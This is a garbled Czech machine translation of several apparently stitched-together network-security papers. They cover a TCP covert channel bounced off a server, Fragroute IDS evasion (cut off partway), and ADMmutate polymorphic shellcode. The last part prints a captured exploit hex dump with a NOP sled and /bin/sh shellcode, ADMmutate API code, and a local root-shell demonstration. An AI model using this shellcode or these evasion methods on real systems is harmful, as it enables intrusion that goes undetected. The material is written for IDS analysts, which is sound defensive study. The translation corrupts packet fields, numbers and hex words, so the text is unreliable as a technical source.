Tři stroje na stejné podsíti byly použity k prokázání a analyzovat to využít. Klientský počítač má IP adresu 192.168.1.111, odrazit server má adresu IP 192.168.1.20 a server počítač má IP adresu 192.168.1.60.

První paket dva pakety níže ilustrují původní přenos z klienta na server a odpověď ze serveru. Je vidět, že identifikační pole v prvním paketu překládá do 43 h, což je znak ACA. Program serveru správně čte znak a uloží ji však TCP / IP stack reaguje na SYN paket s ACK od předchozího paketu a reset (RST).

Stejně jako předtím aktivní IDS byla nejnovější verze Snort [2] společně s tcpdump zachytit všechny pakety vstupu a výstupu serveru. Klientský počítač byl použit k odeslání řetězec âCovertâ. Žádná z těchto sad pravidel na Snortu hlášeny žádné výstrahy kvůli tomuto provozu. Všechny příslušné pakety zachycené tcpdump jsou uvedeny níže. První paket dva pakety níže ilustruje počáteční vysílání z odrazné serveru na skryté TCP server a odpověď ze serveru. Je vidět, že pole ACK v prvním paketu se promítá do 43 hodin (1124073473/16777216 = 67 = 43 hodin), což je znak ASCII ACA.

19: 50: 12,957787 eth0 <192.168.1.20.http> 192.168.1.60.http: S 81531: 81531 (0) ack 1124073473 vyhrát 8576 (DF) (ttl 128, id 23554)
     4500 002c 5c02 4000 8006 1b29 c0a8 0114
     c0a8 013c 0050 0050 0001 4300 0001 3e7b
     6012 2180 0000 0204 70d8 05b4 0000

19: 50: 12,957787 eth0> 192.168.1.60.http> 192.168.1.20.http: R 1124073473: 1124073473 (0) vyhrát 0 (DF) (ttl 255, id 0 )
     4500 0028 0000 4000 ff06 f82e c0a8 013c
     c0a8 0114 0050 0050 4300 0001 0000 0000
     5004 0000 e89e 0000.

Program serveru správně čte znak a uloží ji však TCP / IP stack reaguje na SYN paket s resetem (RST) pro důvody podobné těm, které bylo popsáno v předchozí metodě. V tomto případě je vhodné, aby TCP / IP stack reagovat na nevyžádaný SYN / ACK s resetem. Zbytek dopravy pro celý řetězec je uveden níže.

19: 50: 13,967787 eth0 <192.168.1.20.http> 192.168.1.60.http: S 81544: 81544 (0) ack 1862270977 vyhrát 8576 (DF) (ttl 128, id 23810)
     4500 002c 5d02 4000 8006 1a29 c0a8 0114
     c0a8 013c 0050 0050 0001 3e88 6f00 0001
     6012 2180 0000 0204 44cb 05b4 0000

19: 50: 13,967787 eth0> 192.168.1.60.http> 192.168.1.20.http: R 1862270977: 1862270977 (0) vyhrát 0 (DF) (ttl 255, id 0 )
     4500 0028 0000 4000 ff06 f82e c0a8 013c
     c0a8 0114 0050 0050 0001 0000 0000 6f00
     5004 0000 bc9e 0000

19: 50: 14,977787 eth0 <192.168.1.20.http> 192.168.1.60.http: S 81551: 81551 (0) ack 1979711489 win 8576 (DF) (ttl 128, id 24066)
     4500 002c 5e02 4000 8006 1929 0114 c0a8
     c0a8 013c 0050 0050 0001 7600 0001 3e8f
     6012 2180 0000 0204 3dc4 05b4 0000

19: 50: 14,977787 eth0> 192.168.1.60.http> 192.168.1.20 .http: R 1979711489: 1979711489 (0) vyhrát 0 (DF) (ttl 255, id 0)
     4500 0028 0000 4000 ff06 f82e c0a8 013c
     c0a8 0050 0050 7600 0114 0001 0000 0000
     5004 0000 b59e 0000

19: 50: 15,987787 eth0 <192,168 .1.20.http> 192.168.1.60.http: S 81552: 81552 (0) ack 1694498817 win 8576 (DF) (ttl 128, id 24322)
     4500 002c 5f02 4000 8006 1829 0114 c0a8
     c0a8 013c 0050 0050 0001 6500 0001 3e90
     6012 2180 4ec3 0000 0204 05b4 0000

19: 50: 15,987787 eth0> 192.168.1.60.http> 192.168.1.20.http: R 1694498817: 1694498817 (0) vyhrát 0 (DF) (ttl 255, id 0)
     4500 0028 0000 4000 ff06 f82e c0a8 013c
     c0a8 0050 0050 6500 0114 0001 0000 0000
     5004 0000 c69e 0000

19: 50: 16,997787 eth0 <192.168.1.20.http> 192.168.1.60.http: S 81563: 81563 (0) ack 1912602625 vyhrát 8576 (DF) (TTL 128, id 24.578)
     4.500 002c 6002 4000 8006 1729 0114 c0a8
     c0a8 013c 0050 0050 0001 7200 0001 3e9b
     6012 2180 0000 0204 41b8 05b4 0000

19: 50: 16,997787 eth0> 192.168.1.60.http> 192.168.1.20.http: R 1912602625: 1912602625 ( 0) vyhrát 0 (DF) (ttl 255, id 0)
     4500 0028 0000 4000 ff06 f82e c0a8 013c
     c0a8 0050 0050 7200 0114 0001 0000 0000
     5004 0000 b99e 0000

19: 50: 18,007787 eth0 <192.168.1.20.http> 192.168.1.60 .http: S 81568: 81568 (0) ack 1946157057 vyhrát 8576 (DF) (ttl 128, id 24834)
     4500 002c 6102 4000 8006 1629 0114 c0a8
     c0a8 013c 0050 0050 0001 7400 0001 3ea0
     6012 2180 0000 0204 3fb3 05b4 0000

19:50 : 18.007787 eth0> 192.168.1.60.http> 192.168.1.20.http: R 1946157057: 1946157057 (0) vyhrajete 0 (DF) (ttl 255, id 0)
     4500 0028 0000 4000 ff06 f82e c0a8 013c
     c0a8 0114 0050 0050 7400 0001 0000 0.000
     5.004 0.000 b79e 0000

4.1 Vyjádření
Stejně jako před tím, než IDS nevznesla žádné výstrahy v důsledku tohoto provozu, takže detekce této činnosti se opírá o tcpdump zachytí. Když se podíváme na výše uvedené sekvence, nejzřejmější zjištěním je skutečnost, že existuje řada SYN / ACK pakety bez známek SYN paketů (žádosti o připojení), který by vyvolal u takové odpovědi. To je klíčem k identifikaci této metody v rámci síťového provozu. Všimněte si, že IP adresa klienta (192.168.1.111) zůstává ukrytý na server s touto metodou. To je dále diskutován v příštím průřezu.

Také si všimněte, že zdrojové a cílové porty jsou stejné. Ve výchozím nastavení oba programy klienta a serveru používají port 80 jako zdrojový port. Toto nastavení lze změnit na libovolnou hodnotu, ale faktem zůstává, že zdrojové a cílové porty budou stejné. Dva vysoké porty odesílání dat mezi sebou je stejně jako podezřelý jako dvě žádosti na portu 80 komunikující ne-li víc. Mohli bychom samozřejmě náhodně klientem a serverem porty však musíme používat otevřený port na odrazné serveru a nejběžnější otevřeného portu na všech serverech je port 80.

Při pohledu na pořadí tam jsou jiné než podobné čísla portů, které by měly způsobit charakteristiky analytik prozkoumat provoz z těchto adres velmi úzce. Například v rámci rozpětí šest vteřin došlo šest SYN / ACKâs přijatých a v rámci této množiny datagramy ACK sekvence sníží. To se může stát se mimo pořadí paketů, ale není pravděpodobné, že v tak krátké době.

5. Analýza provozu na serveru âBounceâ
samostatný vyhazovač serveru s tcpdump běží na něm bylo nastavení pro tento experiment. Cílem bylo shromáždit data pomocí tcpdump na odrazné serveru a pokusit se o identifikaci síťovou aktivitu generovaného skrytého kanálu, a dále ilustrují účinnost tohoto využívání ve skrývání adresu skryté klienta. Adresa tohoto odraženým serveru je 192.168.1.10, skrytý server je stále 192.168.1.60 a houští klient je 192.168.1.111.

Následující posloupnost paketů ukazuje sekvenci generované odesláním prvního znaku (ACA) v řetězci.

10: 11: 47,145612 eth0 <192.168.1.60.http> 192.168.1.10.http: S 1124073472: 1124073472 (0) vyhrát 512 (ttl 64, id 29184)
     4500 0028 7200 0000 4006 8539 c0a8 013c
     c0a8 010A 0050 0050 4300 0000 0000 0000
     5002 0200 0000 0000 0000 e6ab 0000

10: 11: 47,155612 eth0> 192.168.1.10.http> 192.168.1.60.http: S 3809931549: 3809931549 (0) ack 1124073473 vyhrát 5840 (DF) (ttl 64, id 0)
     4500 002c 0000 4000 4006 b735 c0a8 010A
     c0a8 013c 0050 0050 E316 f11d 4300 0001
     6012 16d0 e5d9 0000 0204 05b4

10: 11: 47,155612 eth0 <192.168.1.60.http> 192.168.1.10.http: R 1124073473: 1124073473 (0) vyhrát 0 (DF ) (255 ttl, id 0)
     4500 0028 0000 4000 ff06 f838 c0a8 013c
     c0a8 010A 0050 4300 0001 0050 0000 0000
     5004 0000 0000 0000 0000 e8a8 0000

První paket je počáteční SYN od klienta (192.168.1.111) do odrazné serveru ale s falešnou zdrojovou IP ze serveru skryté (192.168.1.60). Všimněte si, že číslo pole sekvence byla kódována s prvním znakem chceme vyslat, přeložil, jak je popsáno v předchozí části. Odrazit server odpoví SYN / ACK jeho vlastní do houští serveru domnění, že se jedná o vzdálený konec, který si přeje navázat spojení. Pole ACK tohoto paketu obsahuje kódovaný znak navíc jeden. Skrytý server dostane nevyžádanou SYN / ACK paket a správně odpoví resetem (RST). Skrytý server, který poslouchá na portu 80 obdržel paket a uloží znak po překládání zpět do jeho ASCII reprezentací. Zbytek znaků v řetězci bude generovat podobnou posloupnost paketů.

Jak je možné vidět v tomto pořadí adresa skryté klienta nezobrazí kdekoliv. Ta vlastnost v pořadí, které by měly upozornit analytik k anomální činnosti je skutečnost, že dobře známé služby, jako je http (port 80) iniciuje spojení s portem 80 na odrazné serveru. To samo o sobě by mělo být důvodem k obavám a další kroky. Za druhé, vzor vytvoří se zcela jasně v průběhu času; k připojení přes falešnou IP zahájí požadavek na připojení se odrazit server bude přirozeně odpoví SYN / ACK, ale skryté serveru bude vždy reagovat pomocí resetu. Tento vzor může být spojena s vysokým stupněm jistoty na skryté kanálu a využití stroje jako nepřímým serveru.

6. Závěry
dvě metody techniky skrytých kanálu byly prokázány a analyzovány v prostředí areálu-lifeâ a výsledky jasně stanovit účinnost tohoto využití vyhýbat IDS bez státní nástroje. Výsledky stanovení velmi jasně účinnosti nástrojů, jako je tcpdump při identifikaci vzorce provozu sítě vytvořené v důsledku skrytého kanálu činnosti. V obou případech byl pozorován necharakteristické protokol události se v souladu vzory jsou specifické pro používané metody. V protokolu pole, která jsou klíčem k identifikaci těchto modelů jsou identifikace IP, sekvence a uznat číselná pole. Sekvence těchto hodnot bude nerovnoměrné a v rozporu se specifikacemi protokolů TCP / IP. V protokolu událostí, které jsou klíčem k identifikaci těchto modelů jsou nevyžádaná SYN / ACKâs a konzistentní RST odpovědi na požadavky SYN.

Je zřejmé, že bez státní příslušnosti IDS je schopen detekovat skrytý kanál aktivitu. Nástroje, jako je tcpdump na straně druhé, jsou velmi účinné při poskytování informace, které mohou být použity k identifikaci a analýze takovou aktivitu. Nicméně, je to velmi obtížný úkol na frekventovaných serverech, nemluvě o velké množství skladování potřebné. Rozumným řešením by bylo zachytit provoz pouze z těchto adres, které jsou podezřelé být generování anomální provoz.

Reference

3. TCP / IP Illustrated o objemu 1
Protokoly
W. Richard Stevens
Addison-Wesley Professional Computing série

4. Dale M. Johnson, Joshua D. Guttman, John Woodward PL, âSelf-Analysis pro Survivalâ. The Mitre Corporation
www.cert.org/research/isw/isw97/all_the_papers/no14.html

Jak se vyhnout detekci Fragroute Nids?

Michael Holstein

sítě založené systémy detekce narušení (NIDS) jsou obvykle nakonfigurován tak, aby pasivně sledovat síťový provoz na úseku formou hardwarového kohoutku nebo jinou taktiku, jako je použití příkazu switchport-monitoru (Cisco IOS) umožnění NIDS sledovat, a v některých případech injekci síťového provozu pro všechny hostitele a místa určení procházejících segmentu.

Většina systémů Nids jsou vzorek založený vyžadující velký soubor (typicky ~ 1500 +) podpisy, aby upozornil na základě specifické kombinace TCP vlajek v záhlaví, nebo v určitém vzoru v užitečného zatížení. Správnost tohoto přístupu závisí samozřejmě na zručnosti správce psaní podpis, ale ve většině případů to umožňuje velmi přesnou detekci specifického útoku, a nebude chytit nové nebo upravené útoky.

Statisticky založené Nids systémy, které jsou obvykle používány ve spojení s vzorů, pokusí navázat směrného aktivity a pohotovosti, když pakety jsou âstatistically significantâ v jejich odchylka od normy A matematické způsob, jak říkat âweird packetâ. Na rozdíl od vzorů, tato taktika může zachytit nové (a pouze příležitostně, více kreativní), útoky na úkor být poněkud hlučné a vyžaduje lidský analýzu všech výstrah.

Protože většina Nids systémy pracují ve vrstvě 2 (OSI), prostě krmit syrové provoz do detekční motoru a spoléhají na porovnávání vzorků a / nebo statistické analýzy určit, co je škodlivý. Pakety nejsou zpracovávány Hostas TCP / IP stack â umožňuje NIDS analyzovat provoz hostitel by jinak zbavit. Tento přístup má také tu nevýhodu, že pakety mohou být záměrně vytvořené takovým způsobem, aby se plést vzor-odpovídající Nids systémy, zatímco byla stále správně sestaveny hostitelským TCP / IP k tomu, aby útok užitečné zatížení.

Vložení, Evasion, a Denial of Service: unikal Network Intrusion Detection , které Ptáček & Newsham (1998) Detaily velký počet těchto metod útoku, které jsou shrnuty níže. Techniky popsané v Ptáček a Newsham byly od programátora Dug Song použity k vytvoření Fragroute .

Fragroute , svým vlastním tvrzením [man (8) page] ââ|intercepts, upravuje a přepisuje výtok provoz určený k určenému hostiteli, kterým se provádí většina útoků popsaných v zabezpečených sítí âInsertion, Evasion, a Denial of Service âInsertion, Evasion, a Denial of Service: unikal Network Intrusion Detectionâ papír ledna 1998.â

typografické konvence použité v tomto dokumentu
Software:

Attack.source: host zahájení útoku
Attach.target: hostitel se spuštěnou démona pod útokem.

Protokoly relace: matematické operandy se používají k označení směru komunikace:

A> A: příkazy vydané od attack.source
â attack.source: 21.862
TCP TTL: 59 TOS: 0x10 ID: 47366 IpLen: 20 DgmLen: 42 DF
*** A * R ** Seq: 0x55626D41 Ack: 0x726E5455 Win: 0x4733 TcpLen: 20

[**] [111: 2: 1] spp_stream4: je to možné detekce vyhýbavé RST [**]
05 / 02-20: 58: 16,599253 attack.target:13398 -> attack.source: 26.951
TCP TTL: 59 TOS: 0x10 ID: 49947 IpLen: 20 DgmLen: 40 DF
*** A * R ** Seq: 0x5447766C Ack: 0x68534F74 Win: 0x364E TcpLen: 20

Možná řešení na zranitelnost

Co je polymorfní shell kód a co to může dělat?

Primárním cílem této analýzy je informovat detekce narušení analytik že âpolymorphic shellcodeâ neexistuje a může být v současné době používán útočníky ke kompromisu systémů. Druhým cílem je demonstrovat použití nástroje a jak to může být integrován do stávajících nebo nových využije ke změně podpis exploit, jak je vidět sítí IDS.

V zásadě existují dva přístupy k síťovým detekce narušení: podpis detekce a detekce anomálií. Přístup podpis detekce využívá známých podpisy pro provoz v síti k identifikaci potenciálně nebezpečný provoz. To je podobný přístup, že většina anti-virus produkty fungují. Přístup detekce anomálií využívá anamnéze síťového provozu hledat vzory, které jsou abnormální, které by naznačovaly vniknutí. Většina systémů detekce vniknutí komerční využití přístupu podpis detekce pro rychlost, snadnost použití analytika, a minimalizaci falešných poplachů.

V rámci přístupu podpis detekce, systémy typicky zkoumat provoz pomocí tří metod:

Dopravní vzory network ping z jednoho hostitele na všechny počítače v podsíti.
Analýza protokolu pro provoz v síti, který porušuje RFC jsou podezřelé.
Podpis odpovídající síti dopravy, který by některé údaje užitečné zatížení jsou označeny jako specifickou sondu nebo využívat pokus.

Tyto metody se ukázaly být poměrně úspěšné při napomáhání vniknutí analytici detekce objevit škodlivý provoz. Bohužel, âweak Linka ve výše uvedených metod spočívá na âsignature matchingâ přístupu. Tento přístup spoléhá především na aString matchingâ v rámci síťového provozu. V zájmu plnění, IDS systémy často hledají tyto âknown signaturesâ v přesných místech v datových paketech.

V důsledku toho, sušenky vyvinuli několik technik, které umožňují útočníkovi vyhnout takové detekce. Obvyklým trikem obejít nedokonalé IDS systémy je poplést požadavek HTTP pomocí adresáře âindirectionâ. Například, tyto požadavky HTTP GET jsou stejné, ale systém IDS mohlo pouze alarm na první požadavek:

http://my.domain.com/phf?
http://my.domain.com/./phf?
http://my.domain.com/dir/../phf?

Příkladem programu, který vykonává tuto mlžení je Whisker Rain Forest Puppy. Tento nástroj však zatemňuje pouze útoky proti webovým serverům.

Na počátku roku 2001, nový nástroj byl propuštěn, který umožňuje útočníkovi poplést jakýkoliv buffer overflow útok na jakoukoli službu. Tento nástroj se nazývá ADMmutate a byl napsán K2. Je zajímavé, že K2 má vztahy s ADM, skupina w00w00, a Honeynet projektu. Primárním účelem tohoto nástroje je změnit exploit podpis pokaždé, když je spuštěn, což má za následek âpolymorphic shellcodeâ.

Zbývající část této analýzy se krátce představili koncepce útoků buffer overflow a pak prozkoumat techniky, které ADMmutate používá k vyhnout detekci. A konečně, bude analýza navržených technik pro detekci âpolymorphic shellcodeâ.

Pozadí Velké množství vzdálených počítačových útoků jsou prováděny za použití buffer overflow útok. Buffer overflow je programovací chyba, kdy se program neprovádí řádnou kontrolu na vstupu, který je zpracovává. Jednoduchým příkladem je program, který akceptuje 10 znaků pro název zaměstnanců. Pokud se program doesnât kontrolovat vstup uživatele, útočník může vstoupit do 20 znaků a způsobit chybu v programu. Pokud je program spuštěn s právy superuživatele, útočník může být schopen rozvracet kontrolu nad procesorem. Vzhledem k mechanismu montážní programování, přidělování paměti a procesoru architektury zkušený útočník může přepsat kritických částí paměti počítače a kontrolního výkonu CPU [1].

Jakmile útočník našel vynikající program, který obsahuje chybu přetečení vyrovnávací paměti, že pokoušet se postavit buffer overflow útok. Konstrukce pracovní exploit není triviální úkol, a obecně vyžaduje pokročilou znalost jazyka symbolických instrukcí, architekturu procesoru a programování C. V jednoduchém formuláři, jehož přetečení vyrovnávací paměti využít obsahuje následující součásti [2]:

Procesor NOOP / NOP (No Operation) pokyny A Ty umožňují větší shovívavost při získávání paměti řeší přesně správné exploitu. Na platformě Intel hex hodnota 0x90 je nejběžnější instrukce NOOP, i když mohou existovat možné až do 55 NOOP instrukce. NOOP pokyny jsou běžně zřetězeno do NOOP âsledâ která posouvá ukazatel processorâs instrukce na místo volby útočníkem.
Shell kódu instrukce a Tyto jsou skutečné montážní příkazy, které poskytují vzdálený přístup k útočníka. Nejběžnější instrukce shell kód spustit shell (jako je / bin / sh). Mezi další časté shell kódu rutiny bude-li přidat kořenový uživatelský účet do systému, nebo provést reverzní telnet zpět do zařízení attackerâs.
Zpáteční adresou Toto je hodnota útočník dodaný který přepíše správnou hodnotu do paměti cílové machineâs počítače. Získání tato hodnota správná, je prvním krokem při budování Zneužití přetečení vyrovnávací paměti. Obvykle to hodnota odkazuje na attackerâs NOOP saních, kde realizace âslidesâ dolů k shell kódu.

Je nutno u příklad přetečení vyrovnávací paměti využít ve volné přírodě, jak je patrné pomocí síťového systému IDS. V tomto případě je Enterasys Dragon IDS zachycen pokus o LPR zneužít proti exponované tiskárny HP JetDirect.

dračí net1 (externí) ZDROJ: 209.58.24.9 CÍL: MY.NET.24.151	09:26:01
.. 45 00 01 ce 1e 40 00 28 32 06 96 92 d1 3a 18 09 86 18 97 9f E..Ã (@ 2 ... A: ......
06 38 02 03 54 6F 4F A9 01 af fe 78 50 18 78 76 7d dd 00 00 .8..oTOÂ © .Â¯Ã¾xP.} XVA ..
42 42 20 F7 ff ff BF 21 F7 bf 22 F7 ff ff bf 23 F7 bf 58 58 BB a · Ã¿Â¿! A · Ã¿Â¿ "A · Ã¿Â¿ # A · Ã¿Â¿XX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 25 32 32 2e XXXXXXXXXXXXXXXX% 0,22
34 75 25 33 30 30 24 6e 25 2e 32 31 33 75 25 33 30 31 24 6e 4U% 300 $ n% .213u% 301 $ n
73 65 63 75 25 33 30 32 24 6e 25 2e 31 39 32 75 25 33 30 33 secu% 302 $ n% .192u% 303
6e 90 90 24 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 $ n ..................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 31 db 31 c9 31 c0 b0 46 cd 80 89 e5 31 d2 b2 66 89 d0 ..1Ã1Ã1ÃÂ ° FÃ..Ã ¥ 1ÃÂ²f.Ã
31 c9 89 cb 43 89 5d f8 43 89 5d f4 4b 89 4d fc 8d 4d f4 cd 1Ã.ÃC.] AC.] Ã'K.MÃ¼.MÃ'Ã
80 31 89 45 c9 f4 43 66 89 5d ec 66 C7 45 ee 0f 27 89 4d f0 .1Ã.EÃ'Cf.] Ã¬fÃEÃ®. ". MÃ °
8d 45 ec 89 45 f8 c6 45 FC 10 89 d0 8d 4d f4 cd 80 89 d0 43 .EÃ¬.EÃ¸ÃEÃ¼..Ã.MÃ'Ã..ÃC
43 cd 80 89 d0 43 cd 80 89 31 c3 C9 b2 3f 89 d0 cd 80 89 d0 CÃ..ÃCÃ..Ã1ÃÂ²? .ÃÃ..Ã
41 cd 80 eb 18 5e 89 75 08 31 c0 88 46 07 89 45 0C b0 0b 89 AÃ.Ã «. ^. U.1Ã.F..E.Â ° ..
f3 8d 4d 08 8d 55 0C cd 80 E8 e3 ff FF FF 2F 62 69 6e 2F 73 Ã³.M..U.Ã.Ã¨Ã £ Ã¿Ã¿Ã¿ / bin / s
68 0a	h.
EVENT4: [NOOP: X86] (tcp, dp = 515, sp = 1592)

Výše, můžete vidět âsledâ NOOP ve výstupu hex (vlevo). Hodnota 0x90 je nejběžnější NOOP instrukce pro procesor Intel. Mnoho IDS systémy budou poplach, když vidí sérii 0x90 bajtů v paketu. Druhým velmi nápadné aspekt výše uvedeného využití pokus je, že řetězec a / bin / sha je jasně viditelné v ASCII dekódování (na pravé straně). To je součástí âshellcodeâ z exploit a je jasné znamení analytika IDS, že útočník pokouší o exploit, který spouští příkazového řádku.

Enter ADMmutate
Nástroj ADMmutate pokouší poplést detekci saní NOOP a shell kódu. IDS systémy, které spouštějí na saních NOOP a shell kód specifika by mít pevný časový alarmující, kdyby byly kódovány odlišně před odesláním na každý cíl. Konstrukce takového nástroje je v zásadě jednoduchý â vybudovat kódování motor, který obtéká exploit před odesláním po síti. Poté, co exploit vyvolal na vzdáleném stroji, skok na dekódování motoru (která musí být odeslána s exploit), dekódovat skutečné využití a spouštět původní shell kód.

Takže jasná odpověď porazit tento přístup je začít hledat pro dekódování motor v síti. Nicméně, dekódovat motor je také polymorfní a vypadá jinak, je spuštěn pokaždé, když je využít. K2 přiznává, že s použitím některé triky starých autory virů za použití této techniky polymorfismus.

Základy polymorfní shell kód
Tak letâs zkoumat, jak polymorfní shell kód by být konstruována s malou pomocí souboru README K2âs [2]. Typický Zneužití přetečení vyrovnávací paměti je konstruován jako řetězec hexadecimálních hodnot v následující podobě:

[NNNN NNNN NNNN] [SS SS] [RR RR]

N = Představuje návod NOOP, až 1000 bajtů v případě, že aplikace poskytuje dostatek prostoru
instrukce S = shell kódu, obvykle kolem 80 až 200 bajtů
adresu R = návrat, obvykle kolem 200 bajtů

Za prvé, instrukce NOOP jsou nahrazeny jakékoliv funkční ekvivalenty. K2 se uvádí, že existuje nejméně 55 vhodné náhradní NOOP návod k architektuře Intel. To usnadňuje práci při hledání NOOP sáně mnohem obtížnější pro motor IDS, protože má vypadat lépe a hlouběji do obsahu paketů, což negativně ovlivňuje výkon systému. Dále se shell kód kódovány pomocí XOR. Hodnota, která XOR shell kód je generován pomocí âskeleton encoderâ, která je architektura nezávislé a jsou zahrnuty v distribuci zdroje. K2 infuze několik pokročilých technik, aby se XOR klíč jedinečná při každém spuštění. Nakonec se dekódovat motor je postaven ve snaze vyhnout se analýzy a zaměstnává několik technik âmodulateâ se změnou montážní návod k dosažení stejného výsledku v několika různými způsoby. Navíc, out-of-dekódovacím pořadí byl implementován měnit podpis dekódování motoru ještě více.

Tento nástroj poskytuje další skvělé funkce využívat spisovateli tím, že odstraní zakázané znaky z exploit řetězec. Například některé exploity vyžadují, aby byl znak NULL nemůže být odeslán ve středu exploit nebo že celá využít obsahovat všechny znaky ASCII. ADMmutate odpovídá za to při stavbě konečné využití a odstraňuje všechny tyto zakázané znaky.

Jak zaměstnávat ADMmutate
Existuje několik metod pro využití funkce ADMmutate. První přístup je kód do exploit. K2 poskytla API, které umožňuje exploit spisovatel integrovat polymorfismus přímo do zneužitelný kód. Zde jsou příslušné řádky kódu nezbytné pro Intel:

#include "ADMmutapi.h"
struct morphctl * mctlp;
struct morphctl mut;
mut.upper = 0; mut.lower = 0; mut.banned = 0; mctlp = & mut;
mut.arch = IA32;
...
Init_mutate (mctlp);
apply_key (buff, strlen (shellcode), NOP-1, mctlp);
apply_jnops (fanoušek, NOP-1, Mut);
apply_engine (buff, strlen (shellcode), NOP-1, mut);
...

Že doesnât jevit jako příliš mnoho práce pro průměrného využití spisovatel. Dalším přístupem je použití zahrnuté m7 využít filtr. M7 Program akceptuje shell kódu na standardní vstup a vypíše zakódované shell kódu. Tento přístup pravděpodobně zabere trochu více zručnosti, ale je neuvěřitelně funkční, protože stávající činy lze umístit do filtru, aniž by byla přepsána.

ADMmutate v akci
Existuje několik vzorových využije zahrnuty v distribuci ADMmutate tak jsem se rozhodl dát jim výstřel v mém testovací laboratoři. Můj první pokus byl k přetečení místní SETUID programu povýšit své výsady od normální uživatel root. Jednoduchý program nazvaný âvulnerableâ byl zahrnut, který má přetečení vyrovnávací paměti, když je zajištěno argument příkazového řádku delší než 1024 bajtů. Úspěšný přetečení vyrovnávací paměti proti SUID root programu bude poskytovat root shell k útočníkovi. Zde je výstup z tohoto místního útoku:

Slackware-7 $ id
uid = 1000 (Jan) gid = 100 (uživatelů) skupiny = 100 (uživatelů)
Slackware-7 $ ./vulnerable `. / exp`
jmp = [] 0xbffff822 offset = [-550]
args 2
dělá stuffz ...
sh-2.03 # id
uid = 0 (root) gid = 100 (uživatelů) skupiny = 100 (uživatelů)

To bylo poměrně jednoduché â âvulnerableâ je SUID program, který byl přijat výstup z programu âexpâ. Je nutno u hexdump výstup přetečení vyrovnávací paměti řetězce (bez polymorfismus), který byl předán do programu âvulnerableâ:

    0000000 9090 9090 9090 9090 9090 9090 9090 9090 ................
    *
    00001f0 9090 9090 22eb 895e 89f3 83f7 07c7 C031 ..... "^ ....... 1.
    0000200 89aa 89f9 abf0 fa89 C031 b0ab 0408 CD03 ........ 1 .......
    0000210 3180 89 dB 40d8 80cd d9e8 ffff 2fff 6962 0,1 ... @ ....... / bi
    0000220 2f6e 6873 f822 f822 bfff bfff f822 bfff n / sh "..." ... "...
    0000230 f822 f822 bfff bfff f822 f822 bfff bfff "..." ... "..." ...
    *
    00004a0 f822 f822 bfff bfff f822 bfff 9090 9090 "..." ... ".......
    00004b0 fa48 bfff H ...

V tomto dekódovat, najdeme známou NOOP (0x90) sáňkovat na začátku řetězce. hexdump program odstraní opakující čáry a nahradí je s a * čáru. Takže jsme vlastně mají 31 linek (500 bytes) z NOOP saní, který je zastoupen jednom řádku. v návaznosti na NOOP saních, je 48 bytů shell kódu včetně exec z / bin / sh. Dále přichází opakování zpáteční adresou pro 26 linek. Tento formát toto zneužití je podobný normální exploit, který by byl viděn útoku démona sítě.

Následující shell kód pro stejný útok poté, co byl zakódován s ADMmutate. V tomto příkladu jsme zjistili, že NOOP saně na začátku byl nahrazen náhradní NOOP vzory pro 32-bitové architektuře Intel. Navíc shellkód část exploit byl zakódován a my Donat najít A / bin / SHA řetězec kdekoliv. Konečně, zpáteční adresa (což je pro každý cíl) je stále opakovat, aby se na konci řetězce využít.

    0000000 5247 5237 5759 9199 984e 602f 4b58 9555 GR7RYW..N. / `XKU.
    0000010 3792 4997 6059 5a5d 979c 9199 9242 9349 .7.IY`] Z .... BI
    0000020 495e 5b37 4740 5d4f 4f99 975f 4492 3797 ^ I7 [@GO] .O _ .. D.7
    0000030 4297 9e93 4598 404a 9696 4652 5150 5e4f .B ... EJ @ .. RFPQO ^
    0.000.040 454d 99fc 5251 5042 4042 4a95 9b37 4459 ME..QRBP7.B @ .JYD
    0000050 4592 4998 935f 275f 985d f84e 4991 fc96 .E.I _._ '] n. ..I ..
    0000060 9796 4637 9751 9754 5b3f 9f5a 9543 4c9e ..7F? [QTZC.L
    0000070 4740 9c96 499f 5652 934e 5355 479b 91f8 @G ... IRVN.US.G ..
    0.000.080 48fc 5d60 4742 9755 4450 4441 4697 5697 .H`] BGU.PDAD.FV
    0000090 5b52 494f 434D 5899 f827 9957 4346 9796 R [OIMC.X'.W.FC ..
    00000a0 404c 4a45 6040 404c 4957 5798 99f9 569b L @ EJ @ `L @ WI. W ... V
    00000b0 4145 96fc 5140 4c56 f946 9348 4f4d f8f8 EA .. @ QVLF.H.MO ..
    00000c0 2f59 4c46 9647 4747 5137 4142 9e48 5b4d Y / FLG.GGH.7QBAM [
    00000d0 545f 55f9 5e56 4191 9249 519e 559e 6099 _T.UV ^ .AI..QU`
    00000e0 5a27 5f49 4727 434c 4b51 4495 5b95 2796 "ZI_'GLCQK.D. [."
    00000f0 9f27 9143 585b 4a56 5497 549f 4f5d 9599 '.c. [XVJ.TT] O ..
    0.000.100 9f57 9c45 3f92 5991 9b2f 379c 9196 574e WE.?.Y/..7..NW
    0000110 275f 5b49 9b42 4152 4897 474b 3f9b 4af9 _'I [B.RA.HKG.?. J
    0.000.120 4d45 544f 5146 554b 4050 4847 9c49 f54a EMOTFQKUP@GHI.J.
    0000130 5d9f 5997 4bf5 5e43 6091 4a44 48f9 5357.]. Y.KC ^ .`DJ.HWS
    0000140 935e 5e49 4297 9f49 4752 4bf5 9f4e 2ff9 ^ .I ^ .BI.RG.KN ../
    0000150 434D 4158 5d42 4992 505E f556 4443 60f5 MCXAB] .I ^ PV.CD.`
    0000160 5141 fc45 9860 4e41 9941 9e2f 474d 5a9c AQE.`.ANA ./. MG.Z
    0000170 4452 4352 9749 503f 2f54 9c37 425f 5b9f RDRCI.?PT/7._B. [
    0000180 4a49 519e 9253 5349 9698 4949 4198 5eeb IJ.QS.IS..II.A ^.
